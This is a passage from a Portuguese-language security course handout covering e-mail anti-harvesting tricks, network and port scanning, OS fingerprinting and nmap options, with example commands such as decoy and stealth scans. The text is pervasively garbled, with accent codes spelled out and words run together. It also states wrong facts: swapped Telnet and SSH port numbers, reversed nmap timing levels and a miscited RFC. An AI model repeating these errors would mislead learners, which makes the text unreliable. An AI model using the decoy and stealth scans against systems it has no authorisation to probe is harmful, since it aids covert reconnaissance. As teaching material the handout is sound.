podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo 